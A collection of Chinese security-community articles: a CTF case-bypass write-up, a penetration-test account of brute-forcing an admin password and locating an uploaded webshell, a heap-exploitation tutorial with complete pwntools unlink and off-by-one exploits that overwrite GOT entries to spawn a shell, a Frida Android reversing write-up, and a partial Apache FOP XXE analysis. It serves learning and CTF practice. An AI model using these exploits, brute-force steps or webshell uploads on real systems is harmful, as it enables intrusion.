但是我们可以看到，在之后的一个判断用户是否为管理员的函数中，对用户名进行处理的是`toLowerCase`。所以这两个差异，就可以使用大小写特性来进行绕过。
大小写差异可以参考p神的这篇文章：[Fuzz中的javascript大小写特性](https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html)
题目中默认的管理员用户名为：hacktm
所以，我们指定登录时的用户名为：hacKtm 即可绕过`isValidUser`和`isAdmin`的验证。
### 思路总结
* 利用javascript大小写特性使用管理员的用户名登录
* 给用户添加查看n的权限并查看n的值
* 通过赋值p、q将adminId设置为0
* 获取Flag
## 过程复现
* 利用javascript大小写特性使用管理员的用户名登录
* 给用户添加查看n的权限并查看n的值
查看n的值：
* 通过赋值p、q将adminId设置为0
* 获取Flag | 社区文章 |
### 0x01 前言
本文涉及到的漏洞并不高级 主要分享实战中的一中经验。
### 0x02 过程
接到客户的系统后 打开发现页面主要是用Flash写的 技术很老了 在这种系统上挖掘到漏洞应该不是什么难事。
看到这种只有一个登录界面的系统笔者通常会联想到以下几种是否
* 是否可绕过/沿用验证码（尝试删除验证码参数/重复使用）
* 是否可遍历账号（点击登录后提示用户名不存在）
* 是否可爆破密码（超过登录限制阀值时账号是否会被禁用）
* 是否可以注入(万能钥匙)
* js中是否包含了敏感目录 是否可越权（登录绕过）
用户名top500一顿跑下来发现前台虽然不提示用户名不存在 但是后台却很诚实的告诉你了的 过程中尝试删除验证码发现不行后测试验证码沿用确实存在
有效期比较短而已
得到了用户名且已知验证码可爆破后并不推荐直接爆破 一不小心账号就被锁了 比如
值得一提的是这是admin账号登录测试的界面 提示中失败3次就会被锁号 但是为什么失败了92次仍未被锁号呢？要站着开发者的角度来看是可以理解的
假设其他账号/功能出问题 需要紧急重置时 缺有人在后面故意输错账号密码 导致admin一直被锁定 那系统不就一直处于停滞状态了？
既然有了用户名 已知验证码可沿用 且账号不会被锁定 那就可以进一步对密码进行爆破了。
通过top10000密码 加上诸如单位名称拼音缩写加123456 这样的组合 顺利进去后台
按照客户需求 到此处后还是可以继续深入测试
对每个功能都进行相关测试后并没有发现什么大问题 注入一类的也不存在 有一个上传点（一个录入信息的地方）
此处上传对文件后缀没有做限制 但是奇怪的是bp抓不到流量 浏览器的开发者选项中的也无法查看到流量 而且上传后的路径也找不到
查阅资料得知是基于FLASH的swfupload开发的 上传过程中文件被转化成了流文件 bp无法抓取到 提供一个demo 有空的师傅可以试试
http://www.miniui.com/demo/fileupload/fileupload.html
目前就很伤了 好好的一个上传就成了鸡肋 这样的漏洞假设提交个SRC至少有九成的把握会被打回
无法找到shell的地址就等于无法证明文件的确上传成功了（审核复现时发现bp没有拦截到流量也会以为这是个没有完善的功能点 并没有真的上传成功）
但是 既然上传了系统肯定就会用到的！
随后发现下面这么一个东西
权限最高的自然就是管理员 然后下面依次是董事长 总经理 部门主管 业务员 等等的。业务逻辑应是这个样子的
调查/业务人员录入客户信息
业务/部门主管人员审核信息
这样理解后去看 管理员并不需要录入信息 那么那个上传点久是不应该出现的 可能是权限配置出错导致的。
随后在后台添加一个业务员账号a 一个部门主管账号b进行测试
通过a录入信息（包括上传shell文件）后登录b进行审核
如此一来 Shell的路径就找到了
### 0x03 总结
实战中这是第三次遇到这样的问题了 第一次是自己学校的一个学分管理系统 和开发的学长认识 帮忙测系统时发现上传后系统直接返回了路径
修复时他直接删除了返回的路径 后续测时通过上述思路就又找到了路径 第二次是测贵州这边某听起来很高大上的局的App 也是类似的问题
没找到路径直接提交时被开发diss被打回来 总的来说要相信系统既然给上传了 那么一定是会用到上传的这个文件的 试着去理解业务逻辑 在进一步渗透
结果会好很多。 | 社区文章 |
# pwn堆入门系列教程4
[pwn堆入门系列教程1](https://xz.aliyun.com/t/6087)
[pwn堆入门系列教程2](https://xz.aliyun.com/t/6169)
[pwn堆入门系列教程3](https://xz.aliyun.com/t/6252)
序言：这次进入到unlink的学习了，unlink在第一节已经用上了，但我用起来还不是很流畅，还是去翻了第一节的笔记，最主要是指针的问题，可能没学好指针，理解了unlink后就简单做了
## 2014 HITCON stkof
### 功能分析
1. 几乎无输出的题目
2. 申请功能，申请指定大小size
3. 删除功能，删除idx位置处的chunk
4. 输出一些无用字符串，有个strlen，本来想用来做/bin/sh的，发觉也不行
5. 编辑功能
### 漏洞点分析
signed __int64 fill()
{
signed __int64 result; // rax
int i; // eax
unsigned int idx; // [rsp+8h] [rbp-88h]
__int64 size; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s; // [rsp+20h] [rbp-70h]
unsigned __int64 v6; // [rsp+88h] [rbp-8h]
v6 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
idx = atol(&s);
if ( idx > 0x100000 )
return 0xFFFFFFFFLL;
if ( !globals[idx] )
return 0xFFFFFFFFLL;
fgets(&s, 16, stdin);
size = atoll(&s);
ptr = globals[idx];
for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
{
ptr += i;
size -= i;
}
if ( size )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}
fill函数里也就是编辑功能处可以自定大小编辑，也就是说存在堆溢出
### 漏洞利用过程
这里有个小细节，自己补充下知识，关于缓冲区的问题，这个细节也解决了我自己出pwn题的时候输出，为什么输出不了的问题
就是如果未设置缓冲区为0的话，这道题里是第一次调用fgets是要先申请1024大小的堆块作为缓冲区的，还有printf也要申请1024大小的堆块作为缓冲区
[知道创宇讲解的一道题目](https://paper.seebug.org/450/)
[ctf-wiki讲解这部分知识](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/)
1. 首先先申请一块内存，冲掉printf和fgets所需缓冲区
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
ptr = 0x0000000000602140+0x10
alloc(0x100) #idx1
1. 是unlink部分，当然用unlink方法来解了，第一节学过了，伪造一个chunk，然后通过溢出覆盖第二个堆块的pre_size和size，在free第二个堆块的时候就会unlink我们的伪造的p堆块
alloc(0x30) #idx2
alloc(0x80) #idx3
alloc(0x30) #idx4
payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
payload += p64(0x90)
fill(2, payload)
delete(3)
gdb-peda$ x/20gx 0x20f7560-0x30
0x20f7530: 0x0000000000000000 0x0000000000000041 #chunk2
0x20f7540: 0x0000000000000000 0x0000000000000030 #p
0x20f7550: 0x0000000000602138 0x0000000000602140
0x20f7560: 0x6161616161616161 0x6161616161616161
0x20f7570: 0x0000000000000030 0x0000000000000090 #chunk3
0x20f7580: 0x0000000000000000 0x0000000000000000
0x20f7590: 0x0000000000000000 0x0000000000000000
0x20f75a0: 0x0000000000000000 0x0000000000000000
0x20f75b0: 0x0000000000000000 0x0000000000000000
0x20f75c0: 0x0000000000000000 0x0000000000000000
这里已经溢出覆盖掉chunk3的size了
其实unlink已经说过一次了，
* 首先，第一步要过掉unlink的size检测，覆盖chunk3的pre_size为fake_chunk大小
* 其次chunk3的insue位要为0，标志前面一个堆块未在使用当中
* 然后关键点就是伪造fd跟bk了
* 在第一点中我将ptr设置为global+0x10意思就是第二块堆块地址，这就是存放p的地方
* unlink第一步 FD = p->fd = ptr-0x18
* unlink第二步 BK=p->bk = ptr-0x10
* unlink第三步 判断FD->bk == p && BK->fd == p ?
* 过了检验后
* FD->bk = * (ptr-0x18 + 0x18 )= BK = ptr -0x10
* BK->fd = _(ptr-0x10+0x10) = FD = ptr-0x18
最终结果就是_ptr = ptr-0x18，而ptr是0x0000000000602150故最终就是将global+0x10处的值改为0x602138
然后我们在编辑第二块的时候实际上就是编辑0x602138处，也就是global-0x8处
1. 泄露地址
payload = 'a'*0x10
payload += p64(free_got)+p64(puts_got) + 'a'*8 + p64(atoi_got) #这里对应的是第一块堆块，第二块，第三块和第四块
fill(2, payload)
fill(1,p64(puts_plt))
delete(2)
io.recvuntil('FAIL\n')
io.recvuntil('FAIL\n')
puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
io.success("libc_base: 0x%x" % libc_base)
io.success("system_addr: 0x%x" % system_addr)
没什么好说的啊，覆写got表为put泄露地址
1. 最后我修改atoi为system，因为输入的会经过atoi转换，所以输入的就是system参数
gdb.attach(io)
fill(4, p64(system_addr))
io.sendline("/bin/sh\x00")
### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'stkof'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'stkof'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def alloc(size):
io.sendline("1")
io.sendline(str(size))
io.recvuntil("OK\n")
def printf(idx):
io.sendline("4")
io.sendline(str(idx))
def fill(idx, content):
io.sendline("2")
io.sendline(str(idx))
io.sendline(str(len(content)))
io.sendline(content)
io.recvuntil("OK\n")
def delete(idx):
io.sendline("3")
io.sendline(str(idx))
def exp():
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
ptr = 0x0000000000602140+0x10
#for buffer
alloc(0x100) #idx1
alloc(0x30) #idx2
alloc(0x80) #idx3
alloc(0x30) #idx4
payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
payload += p64(0x90)
fill(2, payload)
delete(3)
payload = 'a'*0x10
payload += p64(free_got)+p64(puts_got) + 'a'*8 + p64(atoi_got)
fill(2, payload)
fill(1,p64(puts_plt))
delete(2)
io.recvuntil('FAIL\n')
io.recvuntil('FAIL\n')
puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
io.success("libc_base: 0x%x" % libc_base)
io.success("system_addr: 0x%x" % system_addr)
gdb.attach(io)
fill(4, p64(system_addr))
io.sendline("/bin/sh\x00")
#gdb.attach(io)
if __name__ == '__main__':
exp()
io.interactive()
## 2016 ZCTF note2
[ctf-wiki讲解](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/)
我只讲差异，里面有的我就不讲了，我只发现了这个漏洞点
程序在每次编辑 note 时，都会申请 0xa0 大小的内存，但是在 free 之后并没有设置为 NULL。
然后我并不会利用这个，本来想利用chunk
extends上一节学的，发觉他free后的大小不怎么对，到时看下源码吧，他free后的chunk大小不是合并后的大小，最后看到了大佬讲解的那个0，然后通过-1转成无符号整数，这个我自己查看的时候看不出
### 漏洞利用过程
第一步构造unlink，原理上一节弄过了，所以感觉这次顺畅好多
ptr = 0x0000000000602120
first()
# unlink
payload = p64(0) + p64(0xa0) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x80, 'a')
newnote(0x80, payload)
newnote(0, 'b'*0x8)
newnote(0x80, 'c'*0x20)
delete(1)
newnote(0, 'b'*0x10+p64(0xa0)+p64(0x90))
delete(2)
unlink过后修改ptr[0]指针，指向atoi的got表，泄露地址，为什么指向atoi?为后面做准备
payload = 'a'*0x18 + p64(elf.got['atoi'])
editnote(0, 1, payload)
shownote(0)
io.recvuntil("TheNewContents:Edit note success!\n")
io.recvuntil("Content is ")
atoi_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("atoi_addr: 0x%x" % atoi_addr)
libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
io.success("libc_base: 0x%x" % libc_base)
getshell,因为此时第一块堆块还指向atoi的got表，所以此时编辑下，就可以覆写got表了，输入的时候会将输入串atoi，所以就成为参数了
#get_shell
editnote(0, 1, p64(system_addr))
io.sendline("/bin/sh")
### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'note2'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'note2'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def newnote(size, content):
io.sendline("1")
io.sendline(str(size))
io.sendline(content)
def editnote(idx, choice, content):
io.sendline("3")
io.sendline(str(idx))
io.sendline(str(choice))
io.sendline(content)
def delete(idx):
io.sendline("4")
io.sendline(str(idx))
def shownote(idx):
io.sendline("2")
io.sendline(str(idx))
def first():
io.sendlineafter("Input your name:\n", "greenhand")
io.sendlineafter("Input your address:\n", "greenhand")
def exp():
ptr = 0x0000000000602120
first()
# unlink
payload = p64(0) + p64(0xa0) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x80, 'a')
newnote(0x80, payload)
newnote(0, 'b'*0x8)
newnote(0x80, 'c'*0x20)
delete(1)
newnote(0, 'b'*0x10+p64(0xa0)+p64(0x90))
delete(2)
# leak
payload = 'a'*0x18 + p64(elf.got['atoi'])
editnote(0, 1, payload)
shownote(0)
io.recvuntil("TheNewContents:Edit note success!\n")
io.recvuntil("Content is ")
atoi_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("atoi_addr: 0x%x" % atoi_addr)
libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
io.success("libc_base: 0x%x" % libc_base)
#get_shell
editnote(0, 1, p64(system_addr))
io.sendline("/bin/sh")
gdb.attach(io)
if __name__ == '__main__':
exp()
io.interactive()
## 2017 insomni'hack wheelofrobots
这道题难点我觉得在于代码长了点，然后漏洞点难找了点，其余还好，我自己分析的时候又是一头雾水，只看出free的时候没置空，然后还有的是在change部分，他代销有的居然达到了0x9C40uLL，这里我觉得也是一个点，off-by-one真没看出来
[ctf-wiki讲解](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/)
我不在分析功能以及漏洞点分析，这次我自己没分析出来，只讲下漏洞利用过程以及过程中踩到的坑
### 漏洞利用过程
1. 准备部分
def add(idx, size=0):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Your choice :", str(idx))
if idx == 2:
io.sendlineafter("Increase Bender's intelligence: ", str(size))
elif idx == 3:
io.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
elif idx == 6:
io.sendlineafter("Increase Destructor's powerful: ", str(size))
def remove(idx):
io.sendlineafter("Your choice :", "2")
io.sendlineafter("Your choice :", str(idx))
def change(idx, name):
io.sendlineafter("Your choice :", "3")
io.sendlineafter("Your choice :", str(idx))
io.sendafter("Robot's name: ", name)
def start_robot():
io.sendlineafter("Your choice :", "4")
def off_by_one(byte):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Your choice :", "9999" + byte)
def write(addr1, addr2):
change(1, p64(addr1))
change(6, p64(addr2))
**注意：这里change是sendafter不是sendline，因为sendline会发送多一个\n破坏地址**
1. off-by-one溢出修改部分
add(2, 1)
remove(2)
off_by_one('\x01')
# change fd pointer
change(2, p64(0x0000000000603138))
off_by_one('\x00')
#pass the fastbin check size=0x20
add(3, 0x20)
#now idx2->0x603138->null
#get malloc to -> 0x603138
add(2, 1)
#now 0x603138->null
add(1)
#whell <=2
remove(2)
remove(3)
我觉得这部分应该是顺风顺水的吧，off-by-one学过了
1. 关键点
#now only have idx1 pointer->0x603138 , it's destructor_size
#the size must bigger than remove(2) remove(3)'s size
add(6, 4)
add(3, 7)
#change idx6 size:1000
change(1, p64(1000))
ptr = 0x00000000006030E8
payload = p64(0) + p64(0x50) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x50, 'a')
payload += p64(0x50) #pre_size
payload += p64(0xa0) #size
change(6, payload)
# unlink
remove(3)
这里的话，要注意的就是开头申请的两个add了，那个不能低于remove的大小，不然会重新覆盖到那上边去，至于大小是多少，自己构造就好，然后溢出覆盖unlink，常见了
1. 修改并泄露地址
payload = p64(0)*2 + 'a'*0x18 + p64(ptr)
change(6, payload)
#gdb.attach(io)
write(elf.got['exit'], 0x0000000000401855)
# change robot_wheel to 3
write(0x603130, 3)
change(1, p64(elf.got['puts']))
start_robot()
# leak
io.recvuntil(" Thx ")
puts_addr = u64(io.recv(6).strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
我觉得这部分跟unlink属于同一部分的，重新修改地址，这里是将tinny改成指向destructor的位置处，这样编辑1就可以编辑第6处指针，在编辑第六处就是写入了，相当于任意写
写入完后泄露
1. getshell了
#get shell
write(elf.got['atoi'], system_addr)
io.send("sh;#")
跟前面套路一样，改掉atoi，然后传入sh就完了，ctf-wiki的改的free
### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'wheelofrobots'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'wheelofrobots'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def add(idx, size=0):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Your choice :", str(idx))
if idx == 2:
io.sendlineafter("Increase Bender's intelligence: ", str(size))
elif idx == 3:
io.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
elif idx == 6:
io.sendlineafter("Increase Destructor's powerful: ", str(size))
def remove(idx):
io.sendlineafter("Your choice :", "2")
io.sendlineafter("Your choice :", str(idx))
def change(idx, name):
io.sendlineafter("Your choice :", "3")
io.sendlineafter("Your choice :", str(idx))
io.sendafter("Robot's name: ", name)
def start_robot():
io.sendlineafter("Your choice :", "4")
def off_by_one(byte):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Your choice :", "9999" + byte)
def write(addr1, addr2):
change(1, p64(addr1))
change(6, p64(addr2))
def exp():
add(2, 1)
remove(2)
off_by_one('\x01')
# change fd pointer
change(2, p64(0x0000000000603138))
off_by_one('\x00')
#pass the fastbin check size=0x20
add(3, 0x20)
#now idx2->0x603138->null
#get malloc to -> 0x603138
add(2, 1)
#now 0x603138->null
add(1)
#whell <=2
remove(2)
remove(3)
#now only have idx1 pointer->0x603138 , it's destructor_size
#the size must bigger than remove(2) remove(3)'s size
add(6, 4)
add(3, 7)
#change idx6 size:1000
change(1, p64(1000))
ptr = 0x00000000006030E8
payload = p64(0) + p64(0x50) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x50, 'a')
payload += p64(0x50) #pre_size
payload += p64(0xa0) #size
change(6, payload)
# unlink
remove(3)
payload = p64(0)*2 + 'a'*0x18 + p64(ptr)
change(6, payload)
#gdb.attach(io)
write(elf.got['exit'], 0x0000000000401855)
# change robot_wheel to 3
write(0x603130, 3)
change(1, p64(elf.got['puts']))
start_robot()
# leak
io.recvuntil(" Thx ")
puts_addr = u64(io.recv(6).strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
#get shell
write(elf.got['atoi'], system_addr)
io.send("sh;#")
if __name__ == '__main__':
exp()
io.interactive()
## zctf-note3
这道题算自己做的了，自己分析漏洞点，自己做，不过有两个位置卡住了，暂时未得以解决先记录下来，从他人wp里获得的解决方案
### 功能分析
有增删查改，
查询部分是没用的，无法泄露
### 漏洞点分析
不知道为什么，看到这个读取函数瞬间就懂怎么做了
unsigned __int64 __fastcall sub_4008DD(__int64 a1, __int64 a2, char a3)
{
char v4; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+2Fh] [rbp-11h]
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]
v4 = a3;
for ( i = 0LL; a2 - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == v4 )
break;
*(_BYTE *)(i + a1) = buf;
}
*(_BYTE *)(a1 + i) = 0;
return i;
}
a2-1跟我前面做过的一两道题都类似，利用0-1负数，然后转成无符号比较，变成很大，也就是堆溢出
**注意：这里的坑点就是a3,
a3假设被定为\n，我们sendline的时候sendline(p64(addr))会覆盖到下一个地址的最后一位，并将他改成\x00，这是最坑的点了，我被这个坑了好久**
### 漏洞利用过程
1. 准备工作
def add(size, content):
io.sendlineafter("option--->>\n", "1")
io.sendlineafter("Input the length of the note content:(less than 1024)\n", str(size))
io.sendlineafter("Input the note content:\n", content)
def show():
io.sendlineafter("option--->>\n", "2")
def edit(idx, content):
io.sendlineafter("option--->>\n", "3")
io.sendlineafter("Input the id of the note:\n", str(idx))
io.sendlineafter("Input the new content:\n", content)
def delete(idx):
io.sendlineafter("option--->>\n", "4")
io.sendlineafter("Input the id of the note:\n", str(idx))
不用多说吧，每道堆题一样的套路
1. unlink部分
add(0, 'a'*0x8) #idx0
add(0, 'b'*0x8) #idx1
add(0x80, 'c'*0x80) #idx2
ptr = 0x6020c8
payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
payload += p64(0x90)
edit(0, payload)
delete(2)
**这里有坑，切记，不能删掉idx1在进行覆盖，会报错，至于具体报错原因我不清楚，我估计是fastbin链上修改成了错误的fd指针，检测到了，这个问题待解决**
简单的unlink
1. 这里我利用了上一道题的思路，一样的做，修改idx0指向idx1指针部分，通过修改idx0，然后达到任意地址写
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
atol_got = elf.got['atol']
atoi_got = elf.got['atoi']
payload = 'a'*0x18 + p64(ptr+8) + p64(elf.got['free'])
#payload = 'a'*0x18 + p64(free_got) + p64(puts_got)
edit(0, payload)
#edit(0, p64(puts_plt)[:-1])
edit(1, p64(elf.plt['puts'])[:-1]) #关键点，切记，不能破坏到下一个地址，不然会出错
#delete(1)
edit(0, p64(atol_got))
delete(1)
atol_addr = u64(io.recvline().strip().ljust(8, '\x00'))
libc_base = atol_addr - libc.symbols['atol']
system_addr = libc_base + libc.symbols['system']
io.success("libc_base: 0x%x" % libc_base)
io.success("atol_got: 0x%x" % atol_got)
1. getshell
edit(0, p64(atoi_got))
edit(1, p64(system_addr)[:-1])
gdb.attach(io)
io.sendline("/bin/sh;#")
### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'note3'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'note3'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def add(size, content):
io.sendlineafter("option--->>\n", "1")
io.sendlineafter("Input the length of the note content:(less than 1024)\n", str(size))
io.sendlineafter("Input the note content:\n", content)
def show():
io.sendlineafter("option--->>\n", "2")
def edit(idx, content):
io.sendlineafter("option--->>\n", "3")
io.sendlineafter("Input the id of the note:\n", str(idx))
io.sendlineafter("Input the new content:\n", content)
def delete(idx):
io.sendlineafter("option--->>\n", "4")
io.sendlineafter("Input the id of the note:\n", str(idx))
def exp():
add(0, 'a'*0x8) #idx0
add(0, 'b'*0x8) #idx1
add(0x80, 'c'*0x80) #idx2
ptr = 0x6020c8
payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
payload += p64(0x90)
edit(0, payload)
delete(2)
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
atol_got = elf.got['atol']
atoi_got = elf.got['atoi']
payload = 'a'*0x18 + p64(ptr+8) + p64(elf.got['free'])
#payload = 'a'*0x18 + p64(free_got) + p64(puts_got)
edit(0, payload)
#edit(0, p64(puts_plt)[:-1])
edit(1, p64(elf.plt['puts'])[:-1])
#delete(1)
edit(0, p64(atol_got))
delete(1)
atol_addr = u64(io.recvline().strip().ljust(8, '\x00'))
libc_base = atol_addr - libc.symbols['atol']
system_addr = libc_base + libc.symbols['system']
io.success("libc_base: 0x%x" % libc_base)
io.success("atol_got: 0x%x" % atol_got)
edit(0, p64(atoi_got))
edit(1, p64(system_addr)[:-1])
gdb.attach(io)
io.sendline("/bin/sh;#")
if __name__ == '__main__':
exp()
io.interactive()
## 总结
1. unlink部分完结了
2. unlink部分学习时间4天，现在对于unlink轻车熟路了，不过通常不是单一漏洞点，单一的好分析点
3. 要多学学逆向，逆向起复杂的题目来真的难，像那个机器人那题，我连漏洞点都找不到，真的惨
4. 我觉得机器人那题还有另外解法，因为4和5选项越界部分都没用上
5. 感谢萝卜师傅的指导
## 参考链接
[看雪大佬](https://bbs.pediy.com/thread-247007.htm) | 社区文章 |
# frida inlinehook 巧解Android逆向题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近又又又是老朋友发来一道Android逆向题，比赛时没做出来，后来参考了别人的思路，还是用frida解出了题目，学到一些思路记录下。
## Java层静态分析
直接拖进jadx，MainActivity内容如下，代码不多，基本流程就是，获取输入字符，通过一个native层的checkflag判断输入是否正确：
## Native层静态分析
直接解压把libnative-lib.so拖入ida。
发现是静态注册的，直接能在导出函数里找到，处理伪码后如下，直接是ollvm当时就放弃了：
尝试用脚本模拟执行so，反混淆一下，emmmmm区别不大，但是好像勉强能看了？
翻了下看到进来有几处检测，一个很明显判断长度是否16：
另外两处sub_78B0 sub_74E0，是检测调试：
直接patch掉这个检测：
后面一长串看不懂了，绕晕了，后面看到一个地方很有意思：
上面这个判断很可疑（其实就是瞎猫撞死耗子），如果这里不行，就没有后文了，显然发了这篇文章这里肯定是可以的。
## Frida inlinehook
记录下指令地址，掏出frida开始hook这条指令看看寄存器的值。
跑起来，输入测试flag观察结果，我输入个f000000000000000，可以看到出现一次判断成功，后面第二次不相等了就没有后面的判断了：
再次试试，fl00000000000000，可以看到判断成功两次，同样第三次判断不相等又没有后文了：
根据上面的判断，那思路其实已经有了，逐位爆破应该就是能获取到flag，剩下就是脚本问题，这个好解决，构造一个主动调用，在java层调用checkflag函数，同时inlinehook观察指令判断情况一位一位爆破就行，代码如下：
然后一开始出了个bug，想不通，后来发现是我的flag填充位有问题，不能是0（因为flag中是包含0的，我的代码逻辑没考虑这么多，所以到下一位是0的时候，前一位爆破完，就标志位会出错了）：
最后在代码中把填充位换成其他字符，换成z，就愉快的跑出结果了：
## 总结
题目设置刚刚好（我看就是不想让人做出来），后面看了别人的wp是用unidbg做的，这个我不怎么会就换成用frida，直接做了出来，主要还是学习一下frida的inlinehook。 | 社区文章 |
### Apache FOP
FOP (Formatting Objects Processor) 是第一个基于 XSL:FO
的打印格式处理器，也是第一个与输出无关的格式处理器。能够从对象树中读入，然后生成渲染过的页面，将其输出到指定的流。目前支持的输出格式有PDF,PCL,PS,SVG,XML(以树形结构表示),打印机,AWT,MIF和TXT。最主要的输出的是PDF。
### 漏洞简介
Fixed in FOP 2.2
medium: XXE vulnerability CVE-2017-5661
Issue Public: 2017-04-18
Update Released: 2017-04-10 (FOP 2.2)
Affects: 2.1 and earlier
### 调用流程
### 分析过程
下好2.1版本的fop，发现它这个组件连classpath都没弄好....同时也缺失了很多依赖，如果想要源码包的所有代码都能够跑起来的话，需要花费一些时间去将他们慢慢调好
组件里有用servlet生成PDF的例子，所以我们直接去看这一部分吧
路径：
直接看 doGet 函数
接受了三个参数的传入，参数名分别是：
renderXML 这个函数名这么明显，那么选择进入 xmlParam != null 的条件
跟入 renderXML
convertString2Source 是将字符串转换为 Source （也就是由文件名获取文件资源）
transformer 是根据 xsltSrc ，也就是指定的 xsl 文件资源生成的，然后 transformer 被带入了 render 函数里
我们先去看看 transformer 是啥类型的，跟进 newTransformer
发现是一个接口，并且我们目前没法确定 transFactory 是啥类型的....返回去看看
transFactory 在 servlet 的 init 函数中做了初始化
继续跟进
找到路径了，那么newTransfomer 函数生成的 transformer 也应该是
com.sun.org.apache.xalan.internal.xsltc.trax 这个路径
那就应该是 com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl 这个类
uriResolver 也在 init 函数中初始化过
现在继续跟进 render 函数
